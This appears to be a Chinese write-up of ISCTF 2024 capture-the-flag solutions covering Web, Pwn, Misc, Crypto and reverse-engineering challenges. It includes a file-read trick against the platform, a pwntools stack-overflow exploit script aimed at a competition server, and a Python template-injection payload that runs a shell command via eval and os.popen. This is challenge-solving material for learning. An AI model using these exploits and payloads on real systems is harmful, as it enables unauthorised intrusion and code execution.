可以看到,参数image_path传入的是绝对文件路径/var/www/html/application/index/view/index/photos/index.jpg
由于前面有道题的附件里面有一个start.sh,我直接如法炮制去读这个start.sh,还真让我读到了:
data:image/png;base64, IyEvYmluL2Jhc2gKCm15c3FsZF9zYWZlICYKCm15c3FsX3JlYWR5KCkgewoJbXlzcWxhZG1pbiBwaW5nIC0tc29ja2V0PS9ydW4vbXlzcWxkL215c3FsZC5zb2NrIC0tdXNlcj1yb290IC0tcGFzc3dvcmQ9cm9vdCA+IC9kZXYvbnVsbCAyPiYxCn0KCndoaWxlICEobXlzcWxfcmVhZHkpCmRvCgllY2hvICJ3YWl0aW5nIGZvciBteXNxbCAuLi4iCglzbGVlcCAzCmRvbmUKCm15c3FsIC1lICJBTFRFUiBVU0VSICdyb290J0AnbG9jYWxob3N0JyBJREVOVElGSUVEIFdJVEggbXlzcWxfbmF0aXZlX3Bhc3N3b3JkIEJZICdyb290JztmbHVzaCBwcml2aWxlZ2VzOyIgLXVyb290IC1wcm9vdAoKaWYgW1sgLWYgL2RiLnNxbCBdXTsgdGhlbgogICAgbXlzcWwgLWUgInNvdXJjZSAvZGIuc3FsIiAtdXJvb3QgLXByb290CiAgICBybSAtZiAvZGIuc3FsCmZpCgppZiBbWyAtZiAvZmxhZy5zaCBdXTsgdGhlbgoJc291cmNlIC9mbGFnLnNoCmZpCgphcGFjaGUyLWZvcmVncm91bmQK
base64解码后
#!/bin/bash
mysqld_safe &
mysql_ready() {
mysqladmin ping --socket=/run/mysqld/mysqld.sock --user=root --password=root > /dev/null 2>&1
}
while !(mysql_ready)
do
echo "waiting for mysql ..."
sleep 3
done
mysql -e "ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'root';flush privileges;" -uroot -proot
if [[ -f /db.sql ]]; then
mysql -e "source /db.sql" -uroot -proot
rm -f /db.sql
fi
if [[ -f /flag.sh ]]; then
source /flag.sh
fi
apache2-foreground
可以看到此题应该是考SQL注入,但我们通过这个方法也能拿到flag。
我们接下来再读/flag.sh
data:image/png;base64, IyEvYmluL2Jhc2gKZWNobyAkRkxBRyA+IC90dHR0dHR0dHR0cHNxbF9mbGFnCmV4cG9ydCBGTEFHPW5vdF9mbGFnCkZMQUc9bm90X2ZsYWcKcm0gZmxhZy5zaA==
#!/bin/bash
echo $FLAG > /ttttttttttpsql_flag
export FLAG=not_flag
FLAG=not_flag
rm flag.sh
OK,那么flag就放在/ttttttttttpsql_flag,可以直接读取了!
data:image/png;base64, SVNDVEZ7Yjg5ZWU2ZGItNGVjNy00MGJiLTg4YmMtNGMxYjJmZGM5NThkfQo=
那么这就暴露了这个CTF平台存在的一个漏洞,可以让ctfer直接用这个方法读到flag,从而实现非预期解。
当然,thinkphp这个平台的漏洞也是数不胜数,网上也有其他人挖掘了其他漏洞的。
实际上本题的考点是通过首页的搜索框进行SQL注入来拿到flag
二、Pwn
NatCat
NC链接服务器即可回显flag
girlfriend
拖进IDA看一看
一个非常简单的栈溢出
先通过read() 覆盖掉s1使其为admin后进入vuln函数
可以看到**v1
数组是一个大小为 5 的 _QWORD
类型数组(每个元素为 8 字节,表示一个 64 位整数),即 v1
的总内存大小是 40 字节。
for (i = 0LL; i <= 7; ++i)
循环从i = 0
到i = 7
,总共循环 8 次。
问题:数组
v1
仅有 5 个元素(v1[0]
到v1[4]
),但i
的范围从 0 到 7,意味着当i >= 5
时,代码会越过v1
数组的边界,访问无效或意外的内存区域。
缓冲区溢出漏洞:当
i
达到 5、6、7 时,v1[i]
超出了数组的定义范围,这会导致 缓冲区溢出
只需要在输入第七次生日的时候传入amaze函数的地址 使其跳转至amaze函数即可
exp
from pwn import *
port = 39500
def main():
p = remote("27.25.151.12", port)
payload = b'a' * 40 + b'admin'
p.recvuntil(b'id')
p.send(payload)
for i in range(6):
p.recvuntil(b'birthday')
payload = b'6'
p.sendline(payload)
p.recvuntil(b'birthday')
payload = b'4198942'
p.sendline(payload)
p.send(b'cat flag\n')
p.interactive()
main()
[x] Opening connection to 27.25.151.12 on port 39500
[x] Opening connection to 27.25.151.12 on port 39500: Trying 27.25.151.12
[+] Opening connection to 27.25.151.12 on port 39500: Done
[*] Switching to interactive mode
ISCTF{3093e06d-4c43-48d9-bc99-bd74aa895968}
ezgame
拿到附件后把elf拖ida里看
这道题虽然说gets可以作为一个利用点,但我发现seed已经被置为1了,所以说我们直接写调用算出这2w个伪随机数
由于前面有个alarm,要在15秒内把这两万个随机数发完,一开始想的是否能覆盖i的值,后面发现for循环运行时先会把i置0,作为pwn低手没有别的办法,后面想了个招:
一次性把两万个随机数生成,然后用\n拼接后直接发过去,没想到还真可以
最后直接进入getshell函数,ls + cat flag。
三、Misc
问卷
。。。
小蓝鲨的签到02
010打开 文件尾即Flag
CTF{blueshark!_@#2024$%^&*}
数字迷雾:在像素中寻找线索
stegsolve隐写 ISCTF{+9qn1DKdun!gl}
游园地1
百度识图找到
武汉中山公园
ISCTF{湖北省_武汉市_江汉区_中山公园}
游园地2
图片能看到的 山崎居酒屋 库迪咖啡 小红书搜一下山崎居酒屋
再根据店面对比一下 找到
圣地巡礼地图找到
ISCTF{湖北省_武汉市_江汉区_鸣笛1988商业街_恋爱绮谭}
小蓝鲨的签到01
拼起来关注微信公众号即可
ISCTF{Welcome_to_blueshark}
少女的秘密花园
文件尾后有压缩包数据 提出来base_misc.zip加密的
爆破一下密码
040714
解压出flag.txt base64解码得到一张图片
发现图片不完整 宽高修复
对照盲文解密即可 红色的图像是数字
赢!rar
给出了压缩包密码 解压 没发现什么信息
分析一下压缩包
发现有一段NTFS数据流
ntfsstreamseditor扫一下
KGJB1J2NvEaJVR3xHNZFdMKsV6G2VTE++
XXencode解码 -> ISCTF{Beat_SfTian!!!!}
老八奇怪自拍照
颜色不太对劲 stegsolve看一看
发现 R5 G2 B1的图像有问题
提出来数据 是一个压缩包
提示压缩包损坏 删掉多余数据后解压出图片
查看属性
1ScTf2024! 推测是解密的key
stegdetect看一下 是steghide
解密
File_Format
Win自解压程序 爆破密码
ISCTF{WinACE_is_Easy_Subject_0v0}
watermark
key2.png为单盲水印
key2:64oRvUfta9yJsBv
key1.txt为文字盲水印
key1:FAAqDPjpgKJiB6m
key:FAAqDPjpgKJiB6m64oRvUfta9yJsBv 解密压缩包
ISCTF{Watermark_is_used_2_protect%digital*assets}
秘密
zip伪加密先修复了 提取出jpg
文件名猜测OurSecret隐写
010看数据
0宽
ISCTF{Nic3_t0_m33t_you}
奇怪的txt
约瑟夫环问题 编写exp代码
import base64
def josephus_circle(num_files, step):
files = list(range(1, num_files + 1)) # 文件编号从1到137
result = [] # 用于存放挑选的文件编号
index = 0 # 起始位置
# 进行约瑟夫环的数数与挑选过程
while files:
index = (index + step - 1) % len(files) # 计算挑选的位置
result.append(files.pop(index)) # 将文件编号加入结果并从列表中移除
return result
# 调用约瑟夫环函数得到文件顺序
selected_files = josephus_circle(137, 7)
# 创建输出文件
with open("flag.txt", "w", encoding="utf-8") as output_file:
for file_number in selected_files:
file_name = f"txt/{file_number}.txt"
try:
# 读取每个文件的内容
with open(file_name, "r", encoding="utf-8") as f:
content = f.read().replace(" ", "")
content = "\n".join([line for line in content.splitlines() if line]) # 删除所有空行
# 写入到输出文件中
output_file.write(content + "\n")
except FileNotFoundError:
print(f"Warning: {file_name} not found and will be skipped.")
def recursive_base64_decode(encoded_content):
try:
# 尝试解码
decoded_content = base64.b64decode(encoded_content)
# 将解码后的内容转换为字符串
decoded_str = decoded_content.decode('utf-8')
# 递归解码
if "==" in decoded_str or len(decoded_str) % 4 == 0:
return recursive_base64_decode(decoded_str)
else:
return decoded_content
except Exception as e:
return decoded_content
with open('flag.txt', 'r') as file:
encoded_content = file.read()
# 递归解码
decoded_content = recursive_base64_decode(encoded_content)
print("FLAG:", decoded_content.decode('utf-8'))
FLAG: ISCTF{@!98sw-&^si92-2$#334-2024!!}
神秘ping
下载文件 发现是倒序 正过来
因为题目是ping 筛选出来ping的信息 能用来传递数据的似乎也就只有ttl了 提取一下
重新编码一下
63 -> 00 127 -> 01 191 -> 10 255 -> 11
ISCTF{h1De_1n_TtL}
像素圣战
PixelJihad解密 密码为ISCTF(题目描述)
10111110011011000011000110111111101100111101001110010110011101110001100100011111110101101101010011110011101001111010011011011111001100100101110111101100010010101110000111001011001001
题目描述:旋转
给他倒序一下 再转ASCII
ISCTF{R3verse6_b1n4ry_l0l}
starry sky
[email protected] 打开发现是base64数据 解密得到图片
查看图片文件尾 XORKEY:FF
对xor文件进行xor运算,key为FF 得到xor.wav文件
使用MMSSTV进行数据转换 得到DESKEY
YanHuoLG
对flag.txt进行des解密即可
ISCTF{Y0u_@r3_1ooking_@_st@rry_sky!}
神秘的wav
exp代码
import wave
import numpy as np
import os
# 创建一个静音音频文件
def create_silent_wav(file_name, duration_seconds, sample_rate=44100, bit_depth=16):
num_samples = duration_seconds * sample_rate
# 根据位深度选择数据类型
if bit_depth == 16:
max_amplitude = 32767 # 16-bit PCM的最大振幅
dtype = np.int16
elif bit_depth == 8:
max_amplitude = 127 # 8-bit PCM的最大振幅
dtype = np.int8
else:
raise ValueError("Unsupported bit depth")
# 创建一个全为0的音频数据,表示静音
samples = np.zeros(num_samples, dtype=dtype)
# 创建.wav文件
with wave.open(file_name, 'wb') as wav_file:
wav_file.setnchannels(1) # 单声道
wav_file.setsampwidth(bit_depth // 8) # 每个样本的字节数
wav_file.setframerate(sample_rate) # 采样率
wav_file.writeframes(samples.tobytes()) # 写入静音数据
print(f"{file_name} created successfully!")
# 将文本嵌入到音频文件的第二最低有效位
def embed_message(audio_file, message, output_file):
with wave.open(audio_file, 'rb') as wav:
frames = wav.readframes(wav.getnframes())
frames_array = bytearray(frames)
# 将消息转换为二进制
message_bits = ''.join(format(ord(c), '08b') for c in message)
message_bits += '00000000' # 结束符,用00结束
if len(message_bits) > len(frames_array):
raise ValueError("Message is too large to fit in the audio file.")
# 嵌入消息到第二最低有效位
for i in range(len(message_bits)):
frames_array[i] &= 0b11111101 # 清除第二最低有效位
frames_array[i] |= (int(message_bits[i]) << 1) # 将消息位嵌入第二最低有效位
# 保存修改后的音频文件
with wave.open(output_file, 'wb') as wav_out:
wav_out.setnchannels(1) # 单声道
wav_out.setsampwidth(2) # 16-bit深度
wav_out.setframerate(44100) # 采样率
wav_out.writeframes(frames_array)
print(f"Message embedded successfully into {output_file}")
def ext(inp):
with wave.open(inp, 'rb') as wav:
frames = wav.readframes(wav.getnframes())
frames_array = bytearray(frames)
message_bits = [str((frames_array[i] & 2) >> 1) for i in range(len(frames_array))]
message = ''
for i in range(0, len(message_bits), 8):
byte = message_bits[i:i+8]
char = chr(int(''.join(byte), 2))
if char == '\x00':
break
message += char
return message
# 测试流程
def test():
# 生成静音音频文件
create_silent_wav('silent_audio.wav', duration_seconds=5, sample_rate=44100, bit_depth=16)
# 要隐藏的文本消息
message = "{{[].__class__.__base__.__subclasses__()[137].__init__.__globals__.__builtins__['eval'](\"__import__('os').popen(\'cd ../../../../../ && cat flag\').read()\")}}"
# 嵌入文本到音频文件
embed_message('silent_audio.wav', message, 'output_with_message.wav')
# 从修改后的音频文件中提取消息
extracted_message = ext('output_with_message.wav')
print(f"Extracted Message: {extracted_message}")
if __name__ == "__main__":
test()
原理是网站对音频中的数据进行提取后渲染出来 构造一个payload使其执行即可
来自天外的信息
根据文件名,对文件进行解调
import numpy as np
import matplotlib.pyplot as plt
from scipy.signal import decimate
from scipy.io.wavfile import write
file_path = 'fm-complex64-sample_rate-320khz-dec_ratio-20_1'
data = np.fromfile(file_path, dtype=np.complex64)
decimation_factor = 20 # 320 kHz / 20 = 16 kHz (音频采样率)
data_dec = decimate(data, decimation_factor)
angle_diff = np.angle(data_dec[1:] * np.conj(data_dec[:-1]))
audio_data = np.int16((angle_diff / np.max(np.abs(angle_diff))) * 32767)
output_path = 'fm_demodulated_audio.wav'
sample_rate = 16000
write(output_path, sample_rate, audio_data)
print(f"解调后的音频已保存为: {output_path}")
对解调后的音频进行MMSSTV转换
将四部分图片和space后的二维码定位角抠出来拼一下
微信扫描即可获得flag
冷知识:微信的扫码有自己的AI模型优化,所以真的挺强悍的!
ISCTF{Th3_ROmaNtic_Of_Rad1o}
四、Crypto
我和小蓝鲨的秘密
加密代码:
from PIL import Image
from Crypto.Util.number import bytes_to_long, long_to_bytes
import numpy as np
n = 29869349657224745144762606999
e = 65537
original_image_path = "flag.jpg"
img = Image.open(original_image_path)
img = img.convert("RGB")
img_array = np.array(img)
h, w, _ = img_array.shape
encrypted_array = np.zeros((h, w, 3), dtype=object)
for i in range(h):
for j in range(w):
r, g, b = int(img_array[i, j, 0]), int(img_array[i, j, 1]), int(img_array[i, j, 2])
encrypted_array[i, j, 0] = pow(r, e, n)
encrypted_array[i, j, 1] = pow(g, e, n)
encrypted_array[i, j, 2] = pow(b, e, n)
np.save("encrypted_image.npy", encrypted_array)
print("图片已加密并保存为 encrypted_image.npy")
解密代码:
import numpy as np
from PIL import Image
from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse
from sympy import factorint
# 定义 RSA 参数
n = 29869349657224745144762606999
e = 65537
def factorize_n(n):
# 使用现有库来进行质因数分解
factors = factorint(n)
if len(factors) == 2: # 确保 n 有且仅有两个质因子
p, q = list(factors.keys())
return p, q
return None, None
# 计算 d
def calculate_private_key(p, q, e):
# 计算欧拉函数 ϕ(n) = (p - 1) * (q - 1)
phi_n = (p - 1) * (q - 1)
# 使用扩展欧几里得算法计算 d
d = inverse(e, phi_n)
return d
# 质因数分解 n
p, q = factorize_n(n)
if p is None or q is None:
print("未能成功分解 n 为质因数")
else:
print(f"n = {n} 的质因数为 p = {p}, q = {q}")
# 计算私钥 d
d = calculate_private_key(p, q, e)
print(f"计算得到的私钥 d = {d}")
# 加载加密图像数据
encrypted_array = np.load("encrypted_image.npy", allow_pickle=True)
# 获取图像的高度和宽度
h, w, _ = encrypted_array.shape
# 使用numpy的object类型来处理大整数
encrypted_array = encrypted_array.astype(object) # 使用 object 类型来存储大整数
decrypted_array = np.zeros((h, w, 3), dtype=np.uint8) # 解密后的图像存储
# 使用向量化方法解密图像
for i in range(h):
for j in range(w):
# 解密每个像素的 RGB 值
for k in range(3):
encrypted_pixel_value = encrypted_array[i, j, k]
decrypted_pixel_value = pow(encrypted_pixel_value, d, n) % 256
decrypted_array[i, j, k] = decrypted_pixel_value
# 将解密后的图像数组转换为图像
decrypted_image = Image.fromarray(decrypted_array)
# 保存解密后的图像
decrypted_image.save("decrypted_flag.jpg")
print("图片已解密并保存为 decrypted_flag.jpg")
n = 29869349657224745144762606999 的质因数为 p = 186431677583461, q = 160216064374859
计算得到的私钥 d = 14529273505388659836222611033
图片已解密并保存为 decrypted_flag.jpg
ChaCha20-Poly1305
from Crypto.Cipher import ChaCha20_Poly1305
import os
key = os.urandom(32)
nonce = os.urandom(12)
with open('flag.txt', 'rb') as f:
plaintext = f.read()
cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)
ct, tag = cipher.encrypt_and_digest(plaintext)
print(f"Encrypted Flag: {ct.hex()}")
print(f"Tag: {tag.hex()}")
print(f"Nonce: {nonce.hex()}")
with open('key.txt', 'w') as key_file:
key_file.write(key.hex())
直接调用了ChaCha20加密
调用解密函数即可
from Crypto.Cipher import ChaCha20_Poly1305
key = bytes.fromhex("173974535637a5ef30a116b03d00bd2fe751951ca3eaa62daec2b8f5ca5b6135")
ciphertext = bytes.fromhex("20408b9fc498063ad53a4abb53633a6a15df0ddaf173012d620fa33001794dbb8c038920273464e13170e26d08923aeb")
tag = bytes.fromhex("70ffcc508bf4519e7616f602123c307b")
nonce = bytes.fromhex("d8ebeedec812a6d71240cc50")
cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)
plaintext = cipher.decrypt_and_verify(ciphertext, tag)
print(f"Decrypted Flag: {plaintext.decode()}")
Decrypted Flag: ISCTF{Blueshark_Swims_Through_ChaCha20_Poly1305}
小蓝鲨的密码
打开图片,
路在脚下,猜测压缩包密码为文件名bluesharkinfo
提取出一个密码字典
遍历即可
ISCTF{good!_Welcome_blueshark!!!}
五、Re
Ezre
exp:
def decrypt_flag(encrypted_flag, key):
decrypted_flag = []
key_length = len(key)
for i, char in enumerate(encrypted_flag):
if 'A' <= char <= 'Z': # 仅处理大写字母
encrypted_ascii = ord(char)
key_ascii = ord(key[i % key_length])
# 减去 key 对应的字符值,并调整到范围内
decrypted_ascii = (encrypted_ascii - key_ascii) % 26 + ord('A')
decrypted_flag.append(chr(decrypted_ascii))
else:
# 非大写字母直接保留
decrypted_flag.append(char)
return ''.join(decrypted_flag)
if __name__ == "__main__":
encrypted_flag = "QKEMK{7JB5_i5_W3SllD_3z_W3}"
key = "ISCTF"
decrypted_flag = decrypt_flag(encrypted_flag, key)
print("解密后的 flag:", decrypted_flag)
ISCTF{7HI5_i5_R3AllY_3z_R3}
py不好,会被ban
下载附件,一看这icon就知道是pyInstaller打包的,我们直接用pyinstxtractor解包。
用uncompyle6尝试解码,发现是python3.12编写,没法直接看代码,所以我们用pycdas读字节码来分析。
可以发现里面只有两个函数:main 和 verify
我们先看main:
[Code]
File Name: main.py
Object Name: main
Qualified Name: main
Arg Count: 0
Pos Only Arg Count: 0
KW Only Arg Count: 0
Stack Size: 6
Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)
[Names]
'print'
'input'
'len'
'ord'
'verify'
[Locals+Names]
'language'
'OO000'
'language1'
'OOO00'
'len1'
'itemm'
'item'
[Constants]
None
'Y0u k0nw what is the best language in the world???'
''
'is_.py_not_py'
'goOo0od!!!'
'So,th3n???'
True
'very goOo0od!!!'
'What a pity!!!T_T'
'NoOo0o!!!T_T'
[Disassembly]
0 RESUME 0
2 LOAD_GLOBAL 1: NULL + print
12 LOAD_CONST 1: 'Y0u k0nw what is the best language in the world???'
14 CALL 1
22 POP_TOP
24 LOAD_GLOBAL 3: NULL + input
34 CALL 0
42 STORE_FAST 0: language
44 BUILD_LIST 0
46 STORE_FAST 1: OO000
48 BUILD_LIST 0
50 STORE_FAST 2: language1
52 LOAD_CONST 2: ''
54 STORE_FAST 3: OOO00
56 LOAD_FAST 0: language
58 LOAD_CONST 3: 'is_.py_not_py'
60 COMPARE_OP 40 (==)
64 POP_JUMP_IF_FALSE 130 (to 326)
66 LOAD_GLOBAL 1: NULL + print
76 LOAD_CONST 4: 'goOo0od!!!'
78 CALL 1
86 POP_TOP
88 LOAD_GLOBAL 1: NULL + print
98 LOAD_CONST 5: 'So,th3n???'
100 CALL 1
108 POP_TOP
110 LOAD_GLOBAL 3: NULL + input
120 CALL 0
128 STORE_FAST 3: OOO00
130 LOAD_GLOBAL 5: NULL + len
140 LOAD_FAST 3: OOO00
142 CALL 1
150 STORE_FAST 4: len1
152 LOAD_FAST 0: language
154 GET_ITER
156 LOAD_FAST_AND_CLEAR 5: itemm
158 SWAP 2
160 BUILD_LIST 0
162 SWAP 2
164 FOR_ITER 13 (to 192)
168 STORE_FAST 5: itemm
170 LOAD_GLOBAL 7: NULL + ord
180 LOAD_FAST 5: itemm
182 CALL 1
190 LIST_APPEND 2
192 JUMP_BACKWARD 15 (to 164)
194 END_FOR
196 STORE_FAST 2: language1
198 STORE_FAST 5: itemm
200 LOAD_FAST 3: OOO00
202 GET_ITER
204 LOAD_FAST_AND_CLEAR 6: item
206 SWAP 2
208 BUILD_LIST 0
210 SWAP 2
212 FOR_ITER 13 (to 240)
216 STORE_FAST 6: item
218 LOAD_GLOBAL 7: NULL + ord
228 LOAD_FAST 6: item
230 CALL 1
238 LIST_APPEND 2
240 JUMP_BACKWARD 15 (to 212)
242 END_FOR
244 STORE_FAST 1: OO000
246 STORE_FAST 6: item
248 LOAD_GLOBAL 9: NULL + verify
258 LOAD_FAST 1: OO000
260 LOAD_FAST 4: len1
262 LOAD_FAST 2: language1
264 CALL 3
272 LOAD_CONST 6: True
274 IS_OP 0 (is)
276 POP_JUMP_IF_FALSE 12 (to 302)
278 LOAD_GLOBAL 1: NULL + print
288 LOAD_CONST 7: 'very goOo0od!!!'
290 CALL 1
298 POP_TOP
300 RETURN_CONST 0: None
302 LOAD_GLOBAL 1: NULL + print
312 LOAD_CONST 8: 'What a pity!!!T_T'
314 CALL 1
322 POP_TOP
324 RETURN_CONST 0: None
326 LOAD_GLOBAL 1: NULL + print
336 LOAD_CONST 9: 'NoOo0o!!!T_T'
338 CALL 1
346 POP_TOP
348 RETURN_CONST 0: None
350 SWAP 2
352 POP_TOP
354 SWAP 2
356 STORE_FAST 5: itemm
358 RERAISE 0
360 SWAP 2
362 POP_TOP
364 SWAP 2
366 STORE_FAST 6: item
368 RERAISE 0
'__main__'
None
[Disassembly]
0 RESUME 0
2 LOAD_CONST 0: <CODE> verify
4 MAKE_FUNCTION 0
6 STORE_NAME 0: verify
8 LOAD_CONST 1: <CODE> main
10 MAKE_FUNCTION 0
12 STORE_NAME 1: main
14 LOAD_NAME 2: __name__
16 LOAD_CONST 2: '__main__'
18 COMPARE_OP 40 (==)
22 POP_JUMP_IF_FALSE 8 (to 40)
24 PUSH_NULL
26 LOAD_NAME 1: main
28 CALL 0
36 POP_TOP
38 RETURN_CONST 3: None
40 RETURN_CONST 3: None
分析前半部分:输出'Y0u k0nw what is the best language in the world???'
判断输入是否为is_.py_not_py,是就进入下一个逻辑,否就退出。那么我们第一个解就是is_.py_not_py。
2 LOAD_GLOBAL 1: NULL + print
12 LOAD_CONST 1: 'Y0u k0nw what is the best language in the world???'
14 CALL 1
22 POP_TOP
24 LOAD_GLOBAL 3: NULL + input
34 CALL 0
42 STORE_FAST 0: language
44 BUILD_LIST 0
46 STORE_FAST 1: OO000
48 BUILD_LIST 0
50 STORE_FAST 2: language1
52 LOAD_CONST 2: ''
54 STORE_FAST 3: OOO00
56 LOAD_FAST 0: language
58 LOAD_CONST 3: 'is_.py_not_py'
60 COMPARE_OP 40 (==)
64 POP_JUMP_IF_FALSE 130 (to 326)
66 LOAD_GLOBAL 1: NULL + print
76 LOAD_CONST 4: 'goOo0od!!!'
接下来是第二个解。第二个解直接涉及到verify函数,我们来分析verify:
[Code]
File Name: main.py
Object Name: verify
Qualified Name: verify
Arg Count: 3
Pos Only Arg Count: 0
KW Only Arg Count: 0
Stack Size: 9
Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)
[Names]
'range'
'reverse'
'len'
[Locals+Names]
'o0000'
'len2'
'language2'
'enc'
'i'
'ii'
'iii'
'iiii'
[Constants]
None
(
25
85
88
62
105
93
110
124
1
97
46
47
75
5
116
48
2
25
)
1
False
True
[Disassembly]
0 RESUME 0
2 BUILD_LIST 0
4 LOAD_CONST 1: (25, 85, 88, 62, 105, 93, 110, 124, 1, 97, 46, 47, 75, 5, 116, 48, 2, 25)
6 LIST_EXTEND 1
8 STORE_FAST 3: enc
10 LOAD_GLOBAL 1: NULL + range
20 LOAD_FAST 1: len2
22 LOAD_CONST 2: 1
24 BINARY_OP 10 (-)
28 CALL 1
36 GET_ITER
38 FOR_ITER 19 (to 78)
42 STORE_FAST 4: i
44 LOAD_FAST 0: o0000
46 LOAD_FAST 4: i
48 BINARY_SUBSCR
52 LOAD_FAST 0: o0000
54 LOAD_FAST 4: i
56 LOAD_CONST 2: 1
58 BINARY_OP 0 (+)
62 BINARY_SUBSCR
66 BINARY_OP 12 (^)
70 LOAD_FAST 0: o0000
72 LOAD_FAST 4: i
74 STORE_SUBSCR
78 JUMP_BACKWARD 21 (to 38)
80 END_FOR
82 LOAD_FAST 0: o0000
84 LOAD_ATTR 3: reverse
104 CALL 0
112 POP_TOP
114 LOAD_GLOBAL 1: NULL + range
124 LOAD_FAST 1: len2
126 LOAD_CONST 2: 1
128 BINARY_OP 10 (-)
132 CALL 1
140 GET_ITER
142 FOR_ITER 19 (to 182)
146 STORE_FAST 5: ii
148 LOAD_FAST 0: o0000
150 LOAD_FAST 5: ii
152 BINARY_SUBSCR
156 LOAD_FAST 0: o0000
158 LOAD_FAST 5: ii
160 LOAD_CONST 2: 1
162 BINARY_OP 0 (+)
166 BINARY_SUBSCR
170 BINARY_OP 12 (^)
174 LOAD_FAST 0: o0000
176 LOAD_FAST 5: ii
178 STORE_SUBSCR
182 JUMP_BACKWARD 21 (to 142)
184 END_FOR
186 LOAD_GLOBAL 1: NULL + range
196 LOAD_FAST 1: len2
198 CALL 1
206 GET_ITER
208 FOR_ITER 30 (to 270)
212 STORE_FAST 6: iii
214 LOAD_FAST 0: o0000
216 LOAD_FAST 6: iii
218 COPY 2
220 COPY 2
222 BINARY_SUBSCR
226 LOAD_FAST 2: language2
228 LOAD_FAST 6: iii
230 LOAD_GLOBAL 5: NULL + len
240 LOAD_FAST 2: language2
242 CALL 1
250 BINARY_OP 6 (%)
254 BINARY_SUBSCR
258 BINARY_OP 25 (^=)
262 SWAP 3
264 SWAP 2
266 STORE_SUBSCR
270 JUMP_BACKWARD 32 (to 208)
272 END_FOR
274 LOAD_GLOBAL 1: NULL + range
284 LOAD_FAST 1: len2
286 CALL 1
294 GET_ITER
296 FOR_ITER 15 (to 328)
300 STORE_FAST 7: iiii
302 LOAD_FAST 0: o0000
304 LOAD_FAST 7: iiii
306 BINARY_SUBSCR
310 LOAD_FAST 3: enc
312 LOAD_FAST 7: iiii
314 BINARY_SUBSCR
318 COMPARE_OP 55 (!=)
322 POP_JUMP_IF_TRUE 1 (to 326)
324 JUMP_BACKWARD 15 (to 296)
326 POP_TOP
328 RETURN_CONST 3: False
330 END_FOR
332 RETURN_CONST 4: True
如果看着麻烦,直接让ChatGPT来好了:
这个 verify
函数的字节码可以用以下Python代码来表示。以下是分解后的逻辑步骤和完整的Python代码表示:
分解步骤
**初始化列表 **
**enc**
:
创建一个列表
enc
,包含一组常量整数(可能用于后续的验证)。
双重循环XOR处理:
第一次循环:遍历
o0000
中的元素,并逐个应用 XOR 操作。每个元素o0000[i]
会与o0000[i+1]
进行 XOR,结果存储回o0000[i]
。
第二次循环:
o0000
列表被逆序排列后,再次对其进行相同的 XOR 处理。
**第三次循环基于 **
**language2**
:
遍历
o0000
的每个元素,将每个元素与language2
列表中的相应元素(基于模运算%
的索引)进行 XOR 运算,并将结果存储回o0000[i]
。
与
**enc**
对比:
遍历
o0000
和enc
,逐元素比对。如果任何元素不匹配,返回False
。如果所有元素匹配,返回True
。
完整Python代码表示
以下是对 verify
函数字节码的等价Python代码
解释
这段代码利用多次 XOR 操作和与
enc
列表的最终比对来验证输入。
如果
o0000
列表在每个步骤后符合预期并最终匹配enc
列表,则返回True
,否则返回False
。
以上是gpt的回答,可以看到字节码直接被转换为python代码,非常易读。
也就是说这个算法与xor有关,那我们分析其流程,就能写出rev.py
def reverse_verify(enc, language2):
len2 = len(enc) # 假设 o0000 的长度与 enc 相同
o0000 = enc[:] # 初始化为 enc 的拷贝,用于逐步还原
# 第三次 XOR 循环的逆运算
for iii in range(len2):
o0000[iii] ^= language2[iii % len(language2)]
# 第二次 XOR 循环的逆运算(在反转顺序前执行)
for ii in reversed(range(len2 - 1)):
o0000[ii] ^= o0000[ii + 1]
# 反转 o0000 列表
o0000.reverse()
# 第一次 XOR 循环的逆运算
for i in reversed(range(len2 - 1)):
o0000[i] ^= o0000[i + 1]
return o0000
使用方法
# 假设 language2 已知或我们可以提供一个样例
language2 = [ord(c) for c in "is_.py_not_py"]
enc = [25, 85, 88, 62, 105, 93, 110, 124, 1, 97, 46, 47, 75, 5, 116, 48, 2, 25]
# 运行逆向函数
o0000 = reverse_verify(enc, language2)
# 输出 o0000 的 ASCII 字符串
o0000_str = ''.join(chr(x) for x in o0000)
print("逆向得到的字符串:", o0000_str)
最后输出结果:Y0u_r3@l1y_knOw_py
输入exe,显示成功,得到flag:ISCTF{Y0u_r3@l1y_knOw_py}